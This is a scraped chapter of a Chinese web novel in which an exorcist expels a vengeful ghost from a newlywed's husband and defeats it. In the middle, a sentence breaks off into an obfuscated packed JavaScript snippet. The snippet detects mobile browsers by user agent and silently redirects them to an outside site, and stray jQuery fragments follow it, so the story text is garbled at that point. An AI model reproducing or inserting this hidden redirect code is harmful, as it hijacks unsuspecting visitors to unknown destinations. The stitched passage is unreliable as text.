3. 003

作品:《女主她无恶不吃

    ‘丈夫’面白如纸、眼神阴森、声音尖锐刺耳,明眼人都能看出他的诡异。


    听到“地府”二字,意识到自己已经暴露,‘丈夫’更是毫不犹豫地朝着一旁还没从地上爬起来的周可冲过去!


    即便要被抓回地府,她也得在这之前先完成报复!


    周可则被今晚这一系列突如其来的变故吓得神魂俱裂,一时间瘫在地上,全身僵硬。


    危急时刻,早对此提防着的钟小瓷一记踢腿,就将‘丈夫’先一步踹飞,身体重重地撞在身后的墙上,再从墙上又摔到地上。


    梅山教除了抓鬼驱邪,还是传统的武术流派。钟小瓷虽然没有学习术法,却是打小就练习梅山教武术。


    钟小瓷疾冲过去,一拳头再对准其太阳穴捶下。


    “给我滚出去!”


    刚想爬起来的‘丈夫’顿觉头晕目眩,视线也变得模糊起来,但仍旧不愿离体。


    钟小瓷翻身在他身上快速坐下,左手大拇指狠狠掐在他的上唇沟的人中穴上,右手握成拳,开始用力捶打他位于胸正中线上的檀中穴。


    即便不使用术法,让鬼离体的方法依然有很多,比如在重要的穴位上进行物理冲击。


    像太阳穴、人中穴、檀中穴等都是和灵魂相关的穴位,其中檀中穴还是人体八大会穴中的气穴。


    数拳过后,‘丈夫’果然就承受不住,只见他头一歪、眼睛一闭,一副人事不省的模样。


    惊魂未定的周可瘫软在地上,神色满是惊惶不安:“我,我老公他究竟怎么了……”


    她长这么大,和鬼有关的影视剧、小说等总还是看过一些的。况且好端端的,才新婚的丈夫怎么会无缘无故要攻击她?


    钟小瓷直接肯定了她的猜测:“你老公刚才被鬼上身了。”


    周可本就心慌,这会更是怕得要命,可还是惦记着丈夫的安危:“大师,那我老公他……?”


    钟小瓷眯着眼来回快速地在客厅里扫视:“她已经从你丈夫的身体里逃出来了。”


    鬼擅长的是精神攻击。


    所以当它们附身在人身上时,能力其实是大打折扣的。但术士在抓捕的过程,也往往会因此束手束脚。


    好比刚才钟小瓷就需要顾忌周可丈夫的安全,得先把对方逼出身体。


    话音刚落,只见客厅里忽然间狂风四起,一股阴寒之气伴随着狂风蔓延到人身上,开始争先恐后的想要钻进体内。


    大多数的人对鬼其实都有着刻在骨子里的原始恐惧,周可面对这一突发变故,当即爆发出一声尖叫。


    “啊啊啊——!”


    强大的求生欲之下,让周可牢牢记住了钟小瓷之前所在的方向,连滚带爬地跑过去。


    结果这一摸,入手却是一阵冰冷黏腻。


    彼时视线也已经适应起了黑暗,借助着从阳台处渗进来的光线,周可赫然发现,被她抓住的是一只惨白乌青的手。


    顺着手腕一路看过去,迎面就是一张血肉模糊的看不清五官的脸,汩汩的鲜血正在从对方的脑袋上往下流淌,沾满了周可的双手……


    更多的鲜血还滴落在地板上,发出“滴答、滴答”的水声。


    “啊——!”


    周可被眼前这瘆人的一幕吓得又是一阵失声尖叫,她慌乱地用力去甩,对方却牢牢反抓住她的手腕。


    那爪子,阴寒刺骨且坚硬如铁。


    这时对方开口了:“桀桀桀……我终于找到你了!”


    声音僵硬,语调却很熟悉。


    周可一时怔住了:“晓远?”


    怎么会是蒋晓远呢?


    周可和蒋晓远从幼儿园时期就在一起玩,再后来的小学、初中、高中也都还是同班,就连住宿期间也会选择同一个宿舍中紧挨着的两张床铺。


    哪怕上了大学,她们因为成绩和志愿没能考到同一个学校,但也还在同一个城市,彼此约见面的次数依旧频繁。


    直到三年前,两人关系闹崩。


    在那之后,周可就再也没有见过蒋晓远了。


    ……


    周可只感觉到很多记忆在快速丢失,眨眼间的功夫,另一段记忆又如潮水般强行涌入她的脑海——


    今天是周可新婚的第二天,她和丈夫在隔壁小区住着的婆家吃完晚饭回来,准备收拾好东西,明天一早出发去度蜜月。


    未曾想,一直对她百般呵护的丈夫,就只因为她在听到铃声响时,拿起放置在床头柜上的手机看了眼……


    丈夫裹着浴巾从浴室中冲了出来,一巴掌甩在她的脸上。


    周可捂着被扇肿的侧脸,难以置信:“你打我?”


    “谁让你私自碰我手机的?”


    “我只是想帮你看看是谁打来的电话……”


    看着丈夫的反应,周可忽然间意识到了什么:“是谁给你打电话?说啊,到底是谁给你打来的电话!”


    难怪丈夫刚才会那么暴怒,现在她什么都明白了。


    周可歇斯底里地尖叫:“你外面有人了是不是!”


    愤怒和绝望下的周可冲到丈夫面前,用力推搡了好几下后,伸手又想将手机抢夺过来。


    却被丈夫大力甩开。


    “你在闹什么!”


    见状,周可放声大哭:“你怎么能这么对我?我们这么多年的感情了……”


    然而男人一旦变心,并不是女人哭诉就能挽回的。


    周可不明白他们之间怎么会走到这一步,丈夫非但不肯认错,还表示既然她已经知道,那就离婚好了。


    很快,离婚协议书真的送来了。


    望着冷冷清清的婚房,周可只觉万念俱灰,一步一步朝着阳台走去,伸手推开了窗户.......


    “回来!”


    就在这时,一只手牢牢的揪起周可的后衣领。


    周可扶着窗户边缘就要往下跳的动作随之一顿。


    钟小瓷再大力一甩,周可被她丢回了客厅。


    冰冷的地板接触到身体,冷意刺激得周可精神一震:她恍惚记起来了,她和丈夫是今年年初才在亲戚的安排下相亲认识的。


    彼此相处一共也才半年多,又哪里来的很多年感情?


    随着自我意识的逐渐回归,眼前的那张五官也开始变得扭曲起来,一会闪现出丈夫那张温和充满爱意的,一会闪现成蒋晓远那张癫狂狰狞的。


    各种记忆夹杂在一起,齐齐在周可的脑海中疯狂闪现。


    周可面容也越来越痛苦,双手用力捶打起因为接收了太多记忆而疼到尖锐发胀的脑袋。


    ……


    周身泛着黑如墨般阴煞之气的蒋晓远趴在天花板上,怨毒又阴狠地盯着下方站立着的钟小瓷。


    去死——!


    敢阻拦她报复的,都给她去死——!


    客厅里的温度越来越低,黑如墨般的阴煞之气朝着钟小瓷齐聚过去,很快就将她整个人都吞没在其中。


    普通人哪怕只是撞鬼,轻则大病一场。


    重则时,阴气侵入脑海,就会像刚才的周可一样陷入幻境,然后一步一步被阴气诱导……直至彻底被操控。


    见状,蒋晓远怨毒的脸上不禁浮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230459|165916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现出得意之色,身形灵活地钟小瓷四周游动,越发铆足了劲一口接着一口的朝她狂吹阴气。


    就听见钟小瓷破口大骂:“要动手就干脆点,直接动手!吹个屁的气啊,不知道自己是有口气的吗?”


    “虽说自屎不觉臭,但做鬼也该有点公德心!”


    “一股子的血腥加尸臭味,恶心死我了!”


    蒋晓远:“……”


    她一下大受刺激,又是一大口阴气吹过去!


    “呵!”


    钟小瓷彻底恼了:“喜欢吹气是吧?行啊,我陪你一起玩。”


    说着,她猛地伸手一抓。


    头发猛不丁被抓住的那一刻,蒋晓远脸上闪过诧异。


    她忙想挣扎甩开,但不知为何被钟小瓷抓住后,让她感觉到魂力明显被压制住了。


    头发在一股大力拉扯下,脑袋就被拽到钟小瓷跟前来了。


    钟小瓷绝对算不上脾气好的那一拨人,尤其不肯吃亏。所以从小到大,钟外婆没少给她收拾烂摊子。


    后来人长大了,渐渐懂得克制和伪装了,但江山易改本性难移。


    钟小瓷:“真以为就你有气,我就没气?”


    什么意思?


    蒋晓远起初还没听明白,直到瞧见钟小瓷鼓起腮帮子,方才意识她竟然打算学自己吹气?


    这绝对是蒋晓远见过的最奇葩又最好笑的斗鬼方式了,甚至还感觉到一丝离大谱!


    毕竟冲刚才的情况来看,她还以为钟小瓷是个厉害的术士,结果就这?


    蒋晓远怨毒的眼睛里不禁露出轻蔑,整个嘴张得老大。


    “呼——”


    比之前每一次都要来得更为猛烈的阴风朝着钟小瓷呼啸而去。


    反观钟小瓷吹出来的阳气并不大,也只带着活人皆有的正常体温。


    此刻,蒋晓远仍旧没放在心上。


    直到这股气息落在右脸颊的刹那,仿佛被熔化的铁水浇透,当即便冒起了黑烟,痛得她整个魂体都跟着剧烈抽搐。


    蒋晓远发出嗷嗷惨叫声,身上的阴气齐齐朝着冒着黑烟的右脸颊凝聚试图修复......


    钟小瓷还嫌不够,冷笑道:“刚才你对我一共吹了多少口阴气来着?”


    “礼尚往来,我怎么也得回报还你。”


    这话可绝对没有掺杂任何的水分,钟小瓷凭借绝佳的好记忆,接下来当真一口接一口的还了回去。


    蒋晓远拼尽全力挣扎,奈何被钟小瓷牢牢桎梏住无法挣脱。


    她避无可避,魂体上越来越多的地方被阳气灼烧得黑烟寥寥,灼痛如同滚烫的岩浆猛地灌入血管,每一处魂体都在被生生撕裂。


    饶是才刚从幻境中恢复意识的周可,也能感受到蒋晓远此刻的痛苦。


    蒋晓远到底是才死的新鬼,很快挣扎的力度就变小,嘴里发出的惨叫声也越来越虚弱。


    钟小瓷估摸着差不多了,吹出最后的一口阳气准备作罢时,没忍住往回吸了一口。


    霎时,一声凄厉尖锐的“嗷——!”叫声,响彻了客厅。


    原本身材微胖略显丰腴的蒋晓远犹如被扎破了的气球般,“啵”地一下,转瞬间干扁成了根瘦竹竿。


    之后,客厅里的阴气顷刻间消散得无影无踪。


    窗外昏暗的灯光重新照射进来,周遭居住着的人声,附近马路上行驶的车声也隐隐传来。


    钟小瓷半是心虚半是满足的舔了舔嘴角,忽地“咦”了声。


    她快步走到阳台往外探头瞧了又瞧,只见月亮斜挂在夜空中,一片平静。